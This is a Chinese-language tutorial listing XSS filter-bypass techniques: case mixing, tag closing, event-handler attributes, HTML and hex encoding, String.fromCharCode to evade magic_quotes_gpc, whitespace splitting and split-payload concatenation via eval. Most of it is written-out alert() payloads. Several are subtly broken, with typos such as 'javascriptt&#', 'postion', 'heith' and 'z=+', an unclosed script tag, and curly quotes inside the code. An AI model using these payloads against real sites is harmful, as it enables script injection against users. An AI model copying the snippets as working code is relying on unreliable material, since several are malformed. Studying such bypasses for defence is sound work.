xss绕过方法

1.改变大小写

大小写穿插编写

<script>alert(“xss”);</script>

可以转换为:

<ScRipt>ALeRt(“XSS”);</sCRipT>

2.关闭标签

利用大于号>关闭标签使得xss生效

><script>alert(“Hi”);</script>

3.利用html标签触发事件

很多标签都可以对过滤进行绕过
格式:< 标签 事件 = 执行语句
例如:

<p onclick="alert('1')" style="postion:fixed;width:100%;heith:100%"> </p>
<input onfocus="alert('1')" autofocus/>
<body onload="alert('xss')"></body>
<iframe src="./alert.html"></iframe>
<img onmouseover=”alert(‘xxs’)”>

参考资料

即使在攻击不需要任何标签属性的情况下,也应该尝试在标签名称之后添加一些多余的内容,因为这会绕过一些简单的过滤器.

4.编码绕过

过滤严格的函数可能也会将标签进行严格控制,但是如果用其他形式表示标签,脚本仍能解析却可以绕过过滤

常见的编码方式有:
HTML实体编码(&#ASCII) 参考资料 十进制、十六进制、八进制编码 编码器
unicode编码 编码器
escape编码 编码器
及下面将要讲到的String.fromCharCode(…)方法,如果使用eval执行10进制形式的脚本则需要配合string.fromcharcode()使用
eg1:
将下面语句进行hex编码

<script>alert(“xss”);</script>

上述语句hex编码后:

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%E2%80%9C%78%73%73%E2%80%9D%29%3B%3C%2F%73%63%72%69%70%74%3E

eg2:

<img src="javascriptt&#alert(/xss/);">

eg3:

<script>eval("\61\6c\65......");<script>

5.利用js中的String.fromCharCode绕过magic_quotes_gpc

我理解的magic_quotes_gpc=ON和addslashes()进行函数处理后得到的效果一样,比如就是将’转义成/‘,“转义成/”,开启了magic_quotes_gpc的网站会对我们编写的xss语句进行转义,从而使得语句失效,所以我们可以使用String.fromCharCode()方法避免magic_quotes_gpc对语句的转义。

String.fromCharCode()是javascript中的字符串方法,用来把ASCII转换为字符串。

String.fromCharCode()方法 利用此方法编码97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34,41后就是alert(“xss”)

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88,83, 83, 34, 41)</script>

6.使用默认SRC属性绕过SRC域名过滤器

此方法可绕过大部分SRC域名过滤器,它允许将事件替换为任何标签中可用的事件类型,例如onblur,onclick。

<IMG SRC=# onmouseover=”alert(‘xxs’)”>

此处补充一些事件处理函数:

事件

描述

onclick

在用户使用鼠标左键点击对象时触发

ondblclick

用户双击对象时触发

onmousedown

用户用任何鼠标按键单击对象时触发

onmouseenter/onmouseover

用户将鼠标指针移动到对象内时触发

onmouseleave/onmouseout

用户将鼠标移出对象边界时触发

onmousemove

用户将鼠标划过对象时触发

onmouseup

用户在鼠标位于对象之上时释放鼠标按钮触发

onmousewheel

鼠标滚轮按钮旋转时触发

onpaste

用户粘贴数据以便从剪切板向文档传输数据在目标对象上时触发

onpropertychange

在对象上发生对象属性更改时触发

onkeydown

用户按下键盘按键时触发

onerror

装载文档或图像的过程中发生错误时触发

onload

加载完毕自动触发

7.空格/回车(换行符)/Tab

当过滤掉了Javascript等敏感字符串时就对字符串进行添加空格,换行或tab,此处利用js自身的性质:js通常用分号结尾,当解析到完整语句并且行尾存在换行符的情况下就可以忽略掉分号,若解析确定不是完整语句,则会继续处理,直到语句结束或出现分号。

例如下列语句,我们利用空格将语句分隔成了两部分,解析引擎解析确定到的不是完整的语句,JavaScript则会继续进行处理直到这个语句结束,利用换行符和tab同理。

<img src="java  script:alert(‘xss‘);" width=100>

或者

<img src="javascript:  alert(‘xss‘);" width=100>

8.拆分跨站法

拆分跨站就是像shellcode一样,遇到长度限制不能按正常方式跨站时,通过引入变量多次提交将之连接起来实现跨站。
例如:

< script>z=‘document.‘

< script>z=+‘write‘("‘

< script>z=z+‘<script‘

< script>eval(z)

另外除了像上面多次提交,也可以引用其他变量如:eval(qUserInfo.spaceName)形式,由于qUserInfo.spaceName是可控变量,因此改变其值就可以绕过长度限制。